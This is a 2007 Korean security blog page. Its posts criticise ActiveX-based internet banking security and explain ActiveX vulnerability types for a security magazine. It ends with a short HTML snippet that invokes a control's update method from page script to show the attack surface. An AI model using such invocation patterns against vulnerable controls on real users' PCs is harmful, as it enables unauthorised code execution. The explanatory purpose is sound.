분류 전체보기 (69)
Life Story (22)
Music Story (12)
My Play (10)
Security (20)
Scrap (3)
Virtualization (1)
기타연주  Virtualization  ActiveX  srv  블루스  Gartner  마이클잭슨  가상화  악플  hijacking  hacking  전자금융  guitar  웹표준  Recording  기타  보안  전자정부  blues  security  인터넷 뱅킹  schecter SD-II  웹 접근성  Jazz  웹접근성  Schecter  jimi  구글어스  연주  인터넷뱅킹 
 오픈웹 v. 금..
└>Open Web
 ActiveX 알고..
└>日常茶飯事
 Vista ActiveX..
└>SNAIPER의 조..
 마이클잭슨 내..
└>[Noenemy]'s m..
«   2017/12   »
          1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31            
+ VMblog.com -..
+ virtualizatio..
+ Virtualizatio..
+ VMTN Blog
+ Total : 72,673
+ Today : 0
+ Yesterday : 3
  

 

 

 

Security _해당되는 글 20건
2007.07.07   인터넷뱅킹 서비스 보안에 대한 짧은 생각 (2)
2007.07.04   '윈도비스타 SP1 인터넷뱅킹 안전 크게 위협? 
2007.05.21   인터넷과 포털서비스 
2007.05.02   ActiveX 취약점에 대한 이해와 보안 (2)
2007.04.10   비판적 시각에서의 ActiveX 기술 (3)

 

인터넷뱅킹 서비스 보안에 대한 짧은 생각
+   [Security]   |  2007.07.07 08:36  

몇일전에 신문기사를 보다가 보니 인터넷뱅킹이 또 문제라는 기사가 눈에 띄더군요. 기사 제목은 공인인증서가 뚫렸다는 식으로 나온 것 같은데, 내용을 들여다 보니 사실은 공인인증서 자체가 뚫린 것이 아니라, USB 키보드에 대한 키로깅 방지가 제대로 되지가 않아서 사용자의 PC에 접근한 악의적 공격자에 의해 사용자가 금융정보를 입력하는 순간 모든 정보가 Intercept 될 수 있다는 내용이더군요.

제 개인적으로는 최근에 인터넷 뱅킹에 대해 많은 생각을 하게 되는데, 사실 이러한 부분은 명확한 답을 제시하기 참으로 어려운 부분이 많은 것은 분명해 보입니다. 분명한 것은 보안성을 높이면 서비스 품질이 떨어지고, 서비스 품질을 높이면 보안성이 떨어지는 것이 사실입니다. 이 두개가 공존하는 환경을 만드는 것은 참으로 쉬운일이 아닌 것 또한 분명해 보입니다.

해외의 경우에도 이러한 사건 사고의 예외는 아니어서, OECD보고서의 Policy Brief(Oct, 2006)에 나와있는 사례에서는... 영국의 Payment Clearing Services(이거 뭐라고 번역해야 하는지... OTL) 연합회의 레포트에 따르면, 인터넷 뱅킹의 사기(Fraud)에 의한 피해액이 2005년 6월에 1,450만 파운드(261억원 정도, 1파운드를 1800원으로 계산)였으며, 6개월후에 3배 이상이라고 되어있어, 우리나라의 인터넷 뱅킹 손해액에 비해 엄청난 금액이라는 것을 알 수 있습니다. 해외의 인터넷 결재 또는 뱅킹이 안전하다고 우겨대는 분들도 있는데, 정말 그것은 착각이지요.

In the United Kingdom, the Association for Payment Clearing Services reported that bank's losses from internet banking fraud more than trebled to GBP14.5 million for the six months to June 2005.

우리나라의 경우에는 현행 법적으로 사용자의 과실이 분명한 경우(인터넷뱅킹 사용자가 자신의 ID, Password, 이체보안카드 번호 등을 공격자에게 알려주는 극단적인 경우)를 제외하고 모든 것이 전자금융을 제공하는 서비스 사업자(은행)의 책임입니다. 문제는 은행들은 일반 사용자의 PC 보안 상태가 인터넷 뱅킹서비스를 하기 위한 조건에 맞는지를 신뢰할 수 없기 때문에 사용자의 PC에 Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing과 같은 도구를 강제로 인스톨하게 됩니다.

물론 사용자가 허가를 해야 인스톨이 되는 조건을 거치게 되지만, 사용자가 "No"를 선택하게 되면, ActiveX를 통한 보안도구들은 안깔리게 되겠지만, 결론적으로 이러한 보안 프로그램이 안깔리게되면, 정상적인 인터넷 뱅킹 서비스는 꿈도 못꾸기 때문에 사실은 강제적 서비스라고 보는 것이 좀 더 맞다고 봅니다.

문제는 이러한 보안 프로그램들은 은행들도 별로 좋아하지 않는다는 점 입니다. 일전에 Conference에서 세션발표 후 금융권 담당자와 잠시 이야기를 하는데, 콜센터에 접수되는 불만의 최소 50% 이상은 이러한 보안프로그램 때문에 발생한다는 푸념을 하더군요.

인터넷뱅킹을 위해 사이트에 접속하면 은행에서 설치해 놓은 온갖 보안 프로그램들이 존재하게 되는데, 웬만한 지식을 가진 사람이면 다 역공학(리버스엔지니어링, Reverse Engineering)을 해 볼 수 있고, COM 이나 OCX에 대한 지식만 조금 있으면 Control을 마음대로 조작할 수도 있다는 문제점 외에도 S/W 및 OS간의 충돌 문제는 심각할 정도입니다. 몇군데의 은행을 동시에 접속해 놓으면 블루스크린이 뜰 정도라는 이야기는 어제 오늘의 이야기가 아닙니다.

그럼에도 불구하고, 은행들이 이러한 보안프로그램을 놓지 못하는 이유는 인터넷뱅킹 서비스의 존재 이유와도 같다고 봅니다. 그것은 보안이지요. 금융 서비스의 제1 원칙은 다양한 접속경로나 환경을 보장하는 것이 아니라 보안성 유지라는 원칙은 반드시 지켜져야 한다는 것 입니다. 이러한 보안성 유지를 감사(Audit)하는 곳이 금융감독원인데, 금융감독원에서는 전자금융과 관련한 가이드라인을 마련하고 이의 준거성 여부를 감사(Audit)하는 역할을 합니다.

많은 분들이 질문을 합니다. 해외의 Paypal과 같은 서비스는 우리나라와 같이 ActiveX 로 작동하는 보안프로그램이 없어도 잘 서비스 하는데, 왜 유독 우리나라는 웹 표준도 아닌 ActiveX를 이토록 고집하여 우리나라의 금융환경을 세계 표준이 아닌 대한민국의 표준으로 전락시켜버렸냐고.

자, 그렇다면 우리나라의 금융감독기준을 토대로 만약 해외 유수의 인터넷 뱅킹이나 Paypal과 같은 서비스에 대해 우리나라의 전자금융 보안을 위한 가이드라인을 적용시켜 감사(Audit)을 하면 어떤 결과가 나올까요? 제 생각에는 틀림없이 해외의 인터넷 뱅킹이나 paypal 서비스는 우리나라의 기준으로 볼 때, 분명히 불합격 판정을 받을 것이라고 봅니다. 사실 우리나라의 전자금융 감독 규정은 세계적으로 봐도 뒤떨어지지 않으며, 오히려 현실을 감안할 때 지나치게 과민한 부분이 있을 정도라고 봅니다. ActiveX 하나 없는 외국의 금융 서비스가 안전하다고 말씀하시는 분들도 많은 것 같습니다만, 안전한 서비스라는 것이 진정으로 존재할 수 있다고 생각하시는지 저는 오히려 물어보고 싶습니다. 그 어떤 서비스에도 Potential Risk는 존재할 수 밖에 없으며, 실제 해외에서의 금융사고 건수와 피해발생 규모를 비교해 볼 때 우리나라의 인터넷뱅킹 서비스는 그나마 안전하다고 말할 수 있을 정도입니다. (위의 OECD문서만 봐도 짐작 하실 수 있을겁니다)

해외의 경우에는 사용자의 PC 환경에 대해서는 사용자에게 맡기며, 사고가 발생해도 보험이나 보상 서비스를 통해서 고객의 손실을 배상하는 경우가 대부분입니다. 따라서 해외의 전자금융 사업자는 사용자의 PC의 환경을 최소한의 신뢰적인 환경으로 만들기 위해 Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing과 같은 도구를 인스톨 할 필요성이 없다는 점이 가장 차이가 나는 점이라고 생각합니다. paypal의 경우에는 OTP(One Time Password)를 2007년 2월에 도입한다고 할 정도니까, 인증 방식에 대해서는 국내와 비슷해지는 것도 같군요. 말이나와서 말인데, Paypal 서비스는 그들 스스로의 자기중심적 서비스로 엄청난 비판을 받는 서비스 입니다. 여기를 보시면 Paypal의 폭력적 서비스 형태를 미리 경험하실 수도 있습니다.

제가 보기에 우리나라의 인터넷 뱅킹은 정부에서 사용자의 금융사고에 대한 책임을 금융사업자가 지게 되는 현행 구조때문에 금융사업자가 좋던 싫던 사용자의 PC에 뭔가를 끊임없이 인스톨 시킬 수 밖에 없는 구조입니다. 따라서 현행 법률체계를 유지하는 상황에서 기술적인 부분만을 토대로 웹 접근성 강화와 전자금융 보안성 강화라는 두마리의 토끼를 잡는 것은... 저는 불가능하다는 결론을 내렸습니다. 정말 오랫동안 고민해 봤습니다.

제가 보기에는 정부와 금융사업자의 입장에서는 금융사고에 대한 책임을 사용자가 증명하고 책임지게 하는 해외 사례로의 변경이 가장 욕안먹고 손털수 있는 방법이라고 봅니다. 이렇게 되면, 사용자의 PC에 특별한 ActiveX 보안프로그램을 돈써가면서 깔아줄 필요성도 없고, 콜센터에 접수되는 불만의 50% 절감으로 인해 금융사업자는 상당량의 인건비 절감까지도 가능하게 될 겁니다. 물론 Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing 설치가 필요없기 때문에 조금만 신경쓰면 다양한 환경에서의 접속요구를 모두 받아들여지게 될지도 모릅니다.

하지만, 사용자의 PC를 인터넷뱅킹서비스를 접속하였을때, 항상 안전하게 유지할 수 있는 전문가가 인터넷 뱅킹 사용자의 몇 퍼센트나 되겠는가? 라는 질문을 스스로 던져보면, 이 방법도 아니라는 생각이 듭니다. 만약 이렇게 된다면, 제 아버지나 어머니와 같이 컴퓨터에 익숙하지 않은 대다수의 인터넷 뱅킹 사용자는 "인터넷 뱅킹을 포기하거나 위험을 감수하고라도 인터넷 뱅킹을 쓰겠다면 써라! 다만, 그에 대한 책임은 당신이 지면 된다"라고 하는 것과 같은데... 이러한 것이 과연 옳으냐는 겁니다.

또 한가지의 문제는 공인인증서의 경우에는 대체 기술로 가능할 수도 있겠습니다만, Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing에 대한 대책은 어떻게 세워나갈 것이냐는 문제 입니다. 그 어떤 보안전문가도 위에서 열거한 보안프로그램이 특정 OS나 브라우저 환경에서는 필요없다고 이야기 하지 않습니다. 사실은 은행이 제공해 주지 않더라도... 인터넷 뱅킹을 사용하지 않더라도 사용자는 위에서 열거한 보안프로그램을 필요로 합니다.(이젠 제발 MAC이나 LINUX이기 때문에 바이러스나 웜에 걸리지 않는다는 말도 안되는 소리 좀 그만 합시다. TCP/IP 안쓰시는 분이라면 가능할 수도 있기는 할 것 같습니다만...)

제가 생각하는 인터넷 뱅킹의 문제 해결 방식은 다음과 같습니다.

1. 자유로운 접근성 보장
==> 누구나 어떤 OS나 브라우저를 이용하더라도 인터넷 뱅킹이 가능하도록 하는 겁니다. Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing 프로그램이 PC에 반 강제적으로 인스톨이 된 상태에서만 인터넷 뱅킹 서비스의 이용을 가능하도록 하는 현재의 형태를 좀 바꾸어 보자는 겁니다.

다만, 금융감독기관이 권고하는 보안프로그램을 갖추지 않은 접속 형태의 경우에는 금융기관이 사고의 책임을 지지 않도록 하면 됩니다. 스스로의 PC를 지켜낼 수 있는 탁월한 능력이 있거나, 특정 OS나 브라우저를 쓰면 보안 문제가 해결된다고 믿는 사람들은 이 서비스를 이용해 인터넷 뱅킹을 사용하도록 하면 어떨까요? 물론 이때 공인인증서 환경은 기존의 ActiveX 형태이어서는 안되겠지요.
 
금융감독기관도 개인이 선택한 접속 환경에 대해서... 또한 스스로가 인터넷 뱅킹 서비스를 이용하는데 따른 역할과 책임을 분명히 명시한 상태에서 사용자의 선택을 존중해주어야 할 필요성이 있다고 봅니다. 세상이 변한만큼 법률도 좀 바꾸도록 하는 것이 어떨지 싶습니다.

2. 보안프로그램 재설치 금지
==> 저는 윈도우즈 환경에서 인터넷 뱅킹 서비스를 사용하는 사용자의 한명 입니다만, 제 PC에는 Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing은 물론이며, Anti-Spyware 프로그램까지 존재합니다. 하지만 이러한 보안 장치가 이미 존재해도 인터넷 뱅킹 사이트에 접속하면, 여전히 Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing 등의 프로그램을 깔아버립니다. 저는 필요없는데도 이러한 프로그램을 설치해야만 인터넷 뱅킹 서비스를 이용 할 수 있기 때문에 보안프로그램이 존재함에도 불구하고 재설치를 해야만 합니다. 솔직히 저도 이러한 서비스는 정말이지 짜증납니다. 요즘에 자동 업데이트 기능이 없는 보안프로그램이 있던가요? 다 있습니다. 따라서 보안프로그램의 Latest Patch 또는 Update 적용여부의 확인이 불가능하기 때문에 최신 설치본을 깔아야 한다는 논리는 통하지 않습니다.

3. 환경 변화의 수용
==> 이젠 사용자가 Microsoft사의 운영체제 또는 특정 브라우저만을 통해 접속할 것이라는 환상을 버리도록 합시다. 사실은 이게 가장 중요합니다. 어느 하나의 기업이 10년 20년씩 독점적 기술을 통해 IT 환경을 지배하는 시대가 이젠 끝나갑니다. 급격하게 사용자의 접속 환경은 변화하는데, 언제까지 윈도우와 인터넷익스프롤러를 통해 인터넷 뱅킹 서비스에 접속 할 것이라는 믿음을 지켜나갈 것인지요?

4. 차세대 인터넷뱅킹 아키텍처의 통합적 TO-BE Model의 수립
==> 최소한 PC 사용자를 위한 차세대 플랫폼에 대한 TO-BE 모델 정립을 이제부터라도 좀 통합적으로 수립하는 겁니다. AS-IS가 지금까지의 혼란이었다면, 향후에는 국내의 모든 금융사업자가 쉽게 이용할 수 있도록 세계표준에 맞는 인터넷 뱅킹 서비스의 제공을 위한 연구를 좀 했으면 합니다. 웹표준, 서비스, 보안 등 차세대 인터넷 뱅킹 아키텍처의 수립을 위한 Masterplan을 좀 가져보자는 것 입니다.

생각해보면 사용자의 PC 보안 상태... 또는 단말기의 유형이나 운영체제의 종류에 따라 접속 환경을 구성하고 보안프로그램을 필요로 하는 감독규정은 가까운 미래에 쓸모없게 될지도 모른다는 생각이 드는군요. 앞으로 인터넷 뱅킹 서비스를 이용하기 위해 접속하는 단말기의 대부분이 PC가 아닐지도 모르기 때문입니다.


신고

 
 
     ActiveX, banking, security, 보안, 웹접근성, 웹표준, 인터넷 뱅킹, 인터넷뱅킹
     0   2
BlogIcon hard drive liquidation 2008.05.23 04:23 신고
나는 합의한다 너에 이다. 그것은 이렇게 이다.
BlogIcon nude female model freepics 2008.05.23 05:25 신고
재미있는 아주 지점. 감사.

아이디 
비밀번호 
홈페이지 
비밀글   

 

 

'윈도비스타 SP1 인터넷뱅킹 안전 크게 위협?
+   [Security]   |  2007.07.04 14:38  

오늘 전자신문을 보다가 보니, "'윈도비스타 SP1' 인터넷뱅킹 안전 크게 위협 "이라는 제목으로 기사가 나와 있더군요. 기사를 보다가 보니, 몇가지에 대해서 생각이 드는데... 일단은 답답하다는 생각이 먼저 들더군요.

'윈도비스타 SP1 인터넷뱅킹 안전 크게 위협?

정말로 윈도비스타의 SP1이 인터넷 뱅킹에 위협이 되는지의 여부를 확인해 볼 필요성이 있는데, 이것은 사실 정말 웃기는 노릇이죠. 사실 MS 입장에서는 키보드 보안 프로그램도 악성 코드인지 정상적인 코드인지의 여부를 판단할 수 있는 명확한 기술적 근거는 없는 것이 사실입니다. MS가 아니라 그 누구도 악성코드인지 정상적인 코드인지의 여부를 판단할 수가 없기 때문에 OS 제조사인 MS 입장에서는 OS의 Security Architecture에서의 한계성을 느끼고 기존의 아키텍쳐를 수정한 것이 VISTA에서 부터 적용된 OS 기술입니다. 따라서 정확히는 키보드 보안 프로그램이 해야 할 역할을 OS 자체에서 이미 구현했다고 보아도 무방하다는 의미이지요.

그러나, 윈도비스타 SP1이 키보드 보안 프로그램의 정상적 설치를 방해하기 때문에 금융권 보안이 위협 받을 수 밖에 없다는 논지의 기사가 올라오는 것을 보면... 좀 답답하네요.

기본적으로 국내 금융권에서는 법률적으로 전자금융을 제공하는 사업자가 금융사고에 대한 책임을 지는 구조이기 때문에 외국과는 달리 인터넷 뱅킹 사용자의 PC를 사업자가 신뢰할 수 있을 정도의 보안성을 갖추게 만들 수 밖에 없습니다. 이러한 사용자 PC의 보안성에 대한 규정에 따라서 PC 방화벽, 키보드 보안, 트랜젝션 암호화, 공인인증서를 쓸 수 밖에 없습니다. 요즘에는 Anti-Fishing 관련 대응까지 하는 은행들이 나오는 상황이니까, 은행 업무를 보기위해 인터넷 뱅킹 사이트에 접속하면, 5가지 정도의 ActiveX를 사용자는 좋던 싫던 인스톨 할 수 밖에 없는 상황이고, 이것은 사용자에게 짜증을 유발하는 주요 요소라고 봅니다.

이러한 상황에서 감독기관은 PC 방화벽, 키보드 보안, 트랜젝션 암호화, 공인인증서를 쓰는지 안쓰는지를 감독하는 것도 중요합니다만, OS 레벨에서 이미 해당 기능이 수행된다면, 해당 솔루션의 사용여부를 물어보지 않도록 하는 것이 어떨까 싶습니다. 이미 통제 방식이 존재하는지 안하는지의 여부와는 관계없이 감독기관에서 PC 방화벽, 키보드 보안, 트랜젝션 암호화, 공인인증서의 사용 여부를 체크하고 사용치 않는 전자금융 사업자를 제재한다면 이것은 좀 문제라고 봅니다. 따라서 감독기관은 시대가 변한 만큼 기존의 통제방식에 대한 준거성 여부를 좀 더 현실성 있는 통제방식으로 수정해야 할 필요성이 있다고 봅니다.


신고

 
 
     ActiveX, SP1, 윈도우 비스타, 인터넷뱅킹, 전자금융
     0   0

아이디 
비밀번호 
홈페이지 
비밀글   

 

 

인터넷과 포털서비스
+   [Security]   |  2007.05.21 11:08  
아침에 RSS로 배달되는 블로그 목록을 보다가 보니, 2007년에 Educational and Reference Websites 순위에서 Wikipedia가 6배 정보의 차이로 2위인 Yahoo! Answers 서비스를 누르고 1위를 차지했더군요.

Top 20 Educational and Reference Websites
Week Ending March 17, 2007
Share of traffic
in the category that week
1. Wikipedia 24.33%
2. Yahoo! Answers 4.23%
3. Dictionary.com 3.79%
4. Answers.com 3.53%
5. SparkNotes 1.62%
6. Google Scholar 1.31%
7. Google Book Search 1.09%
8. Find Articles .99%
9. U.S. National Library of Medicine .99%
10. Merriam-Webster Online .85%
Source: Hitwise, U.S. Internet Visits (market share) for week ending March 17, 2007

위 자료의 위키피디어의 상세 자료를 보면, 학력이 높고, 연봉이 높을 수록 위키피디어의 접속 비율이 높다는 것을 알 수가 있습니다. 위키피디어에 접속하는 인간의 26%가 Dial-up Connection을 통해 접속했다는 것도 사실 좀 놀랍습니다.

우리나라의 경우에는 어떨까요? Naver 지식인 서비스가 압도적일 것으로 예상되는데, Naver 지식인 뿐만이 아닌 우리나라의 소위 포탈 서비스라는 것들이 다루는 정보라는 것은 지식을 다룬다기 보다는 소비지향적 Entertainment 그 이상이 아니라고 봅니다. 우리나라의 트래픽은 사실상 P2P와 Game이 점령한지 오래이며, 좀 더 정확히는 포르노, MP3, Game 등 이죠.

현재의 포털 서비스는 비판적 시각에서 봤을때는 여론의 편중된 시각을 유도할 수 있을 정도의 강력한 지배능력까지 보유한 듯 싶습니다. 우리나라 특유의 국수주의와 패거리문화와 같은 특성을 이해한다면, 현실적으로 포털 서비스에서 민심을 얻는 대선주자가 대통령이 될 수도 있다고 봅니다. 문제는 이러한 포털서비스는 대한민국과 사이트 접속자를 위한 서비스가 아니라는 점 입니다. 포털사이트의 철저한 이익에 충실한 서비스가 포털서비스의 본질이지요.

우리나라에 있어 도대체 인터넷이란 무엇일까요? 인터넷을 통한 성공적 비지니스 모델이라는 것은 결국 사용자를 단말기 앞에 오래 앉아있도록 하는 기술일까요? 그것이 우리의 목표가 되어야 하는 것 일까요? 분명한 것은 현재의 상황이 지속될 경우, 세계적인 인터넷 인프라를 보유하고 있으면서도, 그 인프라를 이용해 부가가치를 창출하지 못할 거라는 겁니다. 대한민국의 성공적 비지니스 모델이 착취적 또는 중독적 성격의 서비스가 주류이고, 이러한 서비스에 몰두하는 서비스 사용자를 보통 폐인이나 중독자로 부르는 것을 보면, 우리나라의 성공적 비지니스 모델은 국가적인 손실까지 불러오는 서비스라고 감히 단언합니다.

본질적으로 인터넷을 통한 정보 접속에 있어, 빠른 속도의 회선은 의미가 없는 것 같습니다. 그렇기 때문에 위키피디어에 접속하는 26%의 사용자는 Dial-up 접속과 같이 비싼 인터넷 접속 매체를 이용해가면서까지 위키피디어에 접속하는 것 이겠지요. 고급두뇌가 몰리는 세계적 기업의 공통된 특징은 기술을 선도하는 기업이며, 그 기술이 많은 사람들의 지식과 삶을 풍족하게 만드는 기술이라고 봅니다. 그것이 세계를 선도하게 만드는 기업의 철학이지요. 따라서 기업의 철학이 고급두뇌를 유치하는 기본 조건이 된다고 봅니다.

대한민국에는 이러한 기업철학을 가지는 기업은 없어 보입니다. 아직도 인터넷 트래픽이 인터넷 기업의 비지니스 모델이라고 판단하는 인질(포털) 서비스와 같은 기업철학을 가진 기업들만 존재하는 것 같아서  Top 20 Educational and Reference Websites 자료를 보면서 무척이나 부럽게 느껴졌습니다.

Dial-up 접속을 해가면서 까지 인터넷에 접속해서 정보를 획득하고 싶은 서비스가 우리나라에는 몇개 정도나 될까요?
신고

 
 
     위키피디어, 포털사이트
     0   0

아이디 
비밀번호 
홈페이지 
비밀글   

 

 

ActiveX 취약점에 대한 이해와 보안
+   [Security]   |  2007.05.02 21:10  

정보보호 관련 잡지에 연재중인 ActiveX 관련 2회 내역. 개인적으로는 중요한 회사일과 원고마감일이 겹쳐서 무척이나 힘들었다.

(참조 이미지도 상당량인데, 이미지 업로드에 대한 귀차니즘 때문에 이미지는 전체 생략. OTL)

-----------------------------

[
글 싣는 순서]

 

1. 비판적 시각에서의 ActiveX 기술

2. ActiveX 취약점에 대한 이해와 보안 <-- 이번회

 

ActiveX 1996년 초에 발표되었으며, 잘 알려진 바와 같이 ActiveX COM(Component Object Model)의 확장판의 성격을 가지며, DCOM(Distributed COM)을 거쳐서 현재의 .NET 전략으로 통합되는 양상을 띄고 있다. 사실상 ActiveX SUNJAVA에 대한 대안의 성격으로 발표되었다고 보는 것이 맞다고 보며, 당시 마이크로소프트의 API 혁명이라고 불릴만한 OLE(Object Linking and Embedding) 기술은 OLE로 연결된 개체가 다른 응용프로그램에서도 적용되고, 작동될 수 있도록 하는 것을 의미한다. 물론 이러한 것은 DOS 시절에는 불가능하던 것들 이었다.

 

위에서도 잠시 언급했지만, ActiveX SUNJAVA에 대한 아류작 정도로 생각하는 경우도 존재하는데, MS SUNJAVA에 대한 대안적 의미의 기술을 제시했지만, 그 적용 방식에 있어서는 SUNJAVA와 상당한 차이를 보이고 있다. 간단히 몇 가지만을 보면 아래와 같다.

 

구분

ActiveX

JAVA

플랫폼 의존성

플랫폼 의존

플랫폼 독립적

구현 언어

다양한 언어로 구현 가능

JAVA AppletJAVA로만 구현 가능

해석 방식

Compile 방식

Interpreter 방식

속도

빠름

상대적으로 느림

구현

IE에서 동작

거의 모든 브라우저에서 동작

 

JAVA의 기본 보안 모델은 신뢰할 수 없는 코드를 샌드박스(Sandbox, 아이들이 다치지 않고 놀 수 있는 모래로 만들어진 공간으로써, 안전한 공간 또는 격리된 공간을 의미)에서 실행하지만, ActiveX의 기본 보안 모델은 신뢰할 수 없는 코드는 아예 실행하지 않는 모델이라고 볼 수 있다. 따라서 ActiveX Sandbox에서 실행된다는 개념은 없으며, 이미 수없이 많이 본 저작자 서명된 컨트롤을 허용할 지의 여부를 물어보게 되는데, 사실 이 신뢰 모델의 중심에는 전자서명(Digital Sign)이 있다. 이러한 전자서명은 개발자가 배포한 올바른 배포본이 맞는지, 다른 누군가에 의해 배포본이 수정되지는 않았는지의 여부를 효과적으로 검증 가능하게 한다. 문제는 전자서명이 되어 있다고 해서 이것이 악의적인 공격 코드를 포함하고 있는지, 특정 시스템 명령을 악용하는지 등 안전성 여부에서 자유롭다는 것을 의미하지는 않는다.

 

Although code signing can guarantee the identity of the control author and guarantee that the control has not been tampered with, it does not guarantee that the code is free from errors and security vulnerabilities

Source : 288P, WRITING SECURE CODE, MICROSOFT PRESS.

 

문제의 중심에는 바로 이러한 신뢰모델이 문제가 되는데, MS는 기본적으로 서명된 ActiveX 컨트롤은 허용하고, 서명되지 않은 ActiveX 컨트롤은 불허하는 방식이다. 설명만 들으면 그럴 듯 해 보일 수도 있으나, 이것은 서명된 ActiveX 컨트롤이 올바른 배포본이고, 악의적인 코드가 포함되어있지 않다는 필요충분조건이 만족해야 가능한 시나리오이다. 또한, 사용자는 특정 서비스를 이용하기 위해 본인이 명확히 모르고, 원하지도 않는 ActiveX 컨트롤의 허가 및 불허 여부를 강요당하는데, ActiveX의 컨트롤 운영 방식은 전부가 아니면 허용하지 않는 방식이기 때문에 무심코 받아들인 ActiveX 컨트롤은 사용자가 할 수 있는 모든 접근권한을 갖게 된다고 볼 수 있다. 이때, 사용자의 시스템에 존재하는 특정 개인정보를 빼가거나, 시스템 명령 수행을 통해 악의적 행위가 이루어지게 되면, 사실상 사용자가 할 수 있는 일은 거의 없다고 보면 된다. 바로 이러한 부분에서 JAVA ActiveX는 현격한 구현상의 차이를 보이는 부분이기도 하다.

 

보안 측면에서 ActiveX가 갖는 의미는 공격 방식의 변화를 의미하며, 기존의 PC<->System, PC<->Network, PC<->PC 1차원적 공격을 벗어났다는 것을 의미한다. 기존의 공격 방식은 1:1 공격이 주류를 이루고, 이러한 공격 방식은 Layer 4(Transport Layer) 기반의 IP, Port 기반의 접근제어(Access Control)로 방어할 수 있는 성격의 취약점 들 이었다. 하지만, 이러한 공격 방식은 공격자들에게는 하나의 장벽이지만 뛰어넘지 못할 정도의 것은 아니었으며, 새로운 공격방식으로 등장한 어플리케이션 취약점에 주목하기 시작했다.

 

이는 WWW의 폭발적인 성장으로 인해 인터넷이 업무 그 자체가 되는 시대에 웹 클라이언트에서 이용 가능한 자바스크립트나 VB 스크립트와 같은 프로그래밍 언어 및 자바애플릿과 ActiveX 컨트롤 등의 개념이 지속적으로 생겨나면서 공격자와 사용자 사이에 다양한 커뮤니케이션의 연결고리가 생겼다는 것을 의미하며, 이는 공격 방식이 기존의 1:1에서 1:n으로 변화되었다는 것을 의미한다. 이는 기존의 공격 방식이 Layer 4(Transport Layer)에서 Layer 7(Application Layer) 계층으로 변화되었다는 것을 의미하며, 좀 더 정확히는 기존의 접근제어 체계를 우회하여 효과적으로 공격 가능한 루트 확보에 성공했다는 것을 의미한다. 따라서 공격자가 어플리케이션 공격에 주목했다는 의미는 기존의 IP, Port 기반의 접근제어(Access Control)의 영향을 받지 않는다는 것이라고 볼 수 있으며, 좀 더 정확히는 기존의 방화벽 기술이 이러한 어플리케이션 기반 공격을 전혀 막아내지 못한다는 것을 의미한다. 최근에 시장에서 선보이고 있는 웹 방화벽이나 각종 컨텐츠 필터링 계열 장비들의 존재는 바로 이러한 기존 방화벽과 같은 접근제어 체계의 현실적 한계성에서 비롯된다고 할 수 있다.

 

대한민국의 경우에는 그야말로 ActiveX의 천국이며, MS가 꿈꾸어왔던 ActiveX가 할 수 있는 모든 것이 대한민국의 거의 모든 사이트마다 구현되어 있다고 보면 정확할 듯싶다. 우리나라의 정보보호기반시설에서 사용되는 보안시스템은 국가의 평가 및 인증제도를 거친 안정성 높은 시스템을 이용하도록 장치가 마련되어 있으나, 어플리케이션 구현 내역에 대해서는 주기적으로 홈페이지 리뉴얼 및 개편과 같이 수시로 변화하는 특성 때문에 이러한 검증제도의 구현이 현실적으로 어려우며, 개발자에 의해 구현된 ActiveX 컨트롤에 대해서 평가 및 인증제도를 거치는 경우 또한 없다. 따라서 ActiveX 컨트롤의 보안성은 개발자의 보안지식에 의존할 뿐 ActiveX 컨트롤에 대한 시스템적인 평가와 인증과 같은 검증절차를 거치는 경우는 없다고 보는 것이 정확할 듯싶다.

 

ActiveX 컨트롤을 설계하는 개발자는 보안적인 측면에서 악용이 가능한 기능을 제공하지 않거나, ActiveX 컨트롤이 불완전한 Method, Property등을 제공하고 있다면, 이러한 서비스 제공 여부를 판단하여, 검증하고 구현한 후 배포가 이루어져야 하지만, 현실은 그렇지 못하며, 일반적인 어플리케이션 개발과 마찬가지로 RFP(Request for Proposal)에 명시된 기능 목록을 만족하면 검수가 되는 일반적인 절차를 거친다.

 

불특정 다수에게 서비스가 되는 어플리케이션을 개발할 때는 유의해야 할 사항이 많다는 것을 알 수가 있는데, 오피스 프로그램, 뷰어, ActiveX 등이 그 예가 될 수 있다. 공격자는 이러한 어플리케이션 간의 연결고리를 분석하고 취약점의 존재 여부를 검증하며, 동시에 공격에 이용 가능한 PoC(Proof of Concept) 코드를 작성하게 되는데, 최근에 많은 취약점이 쏟아지고 있는 오피스 계열의 취약점의 경우, 조작된 문서를 읽게 되면 사용자 PC의 권한 획득이 가능한(일반적으로 오피스 계열의 취약점은 Classical Buffer Overflow 또는 Race Condition 취약점이 대부분이다) 경우가 존재하는 등, 다양한 부분에서 역공학(Reverse Engineering) 등의 기법을 통한 취약점이 맹위를 떨치는 이유는 개발자의 개발 산출물에 대한 보안성 검증이 의외로 허술하다는 점에 기인한다.

 

기존에 발견되었던 ActiveX 컨트롤 취약점을 다시 한번 분석해 보면 그 유형이 아래와 같음을 알 수 있다.

 

1. 로컬 자원에 접근 가능한 Method를 직접적으로 제공

2. 업데이트 기능을 악용하여, 정상적인 배포본이 아닌 조작된 배포본을 받게 하는 행위

3. 정교하게 조작된 입력값을 통해 정상적 로직을 Bypass 하는 경우

4. Method Property 등의 입력 값에 대한 버퍼 오버플로우

 

위의 내역을 살펴보면 사실 별 것 아닐 수도 있는 취약점이거나 설마 저런 것도 검증이 안될까라고 생각되는 부분도 존재하는 것을 볼 수가 있는데, 현업에서 보안 컨설팅을 하다 보면 이러한 문제점이 10곳 중에서 7곳에서는 나오는 취약점 유형임을 감안해 본다면, 이러한 검증 걸차가 이루어지지 않거나, 보안의 심각성 자체를 인지하지 못하는 경우가 대부분이다.

 

ActiveX 컨트롤은 자바 애플릿과는 달리 파일이나 레지스트리에 대한 접근이 가능하다. 또한, 일반적인 윈도우 어플리케이션과는 달리 공격자가 웹 인터페이스를 통해 누구나 언제든지 실행할 수 있다는 점이 특징적이다.

 

<OBJECT ID="update" WIDTH=0 HEIGHT=0

 CLASSID="CLSID:9D01F646-">

<PARAM NAME=nam VALUE=12>

</OBJECT>

 

<script>

 

update.StartUpdate()

 

</script>

[Object Tag Script를 이용한 호출]

 

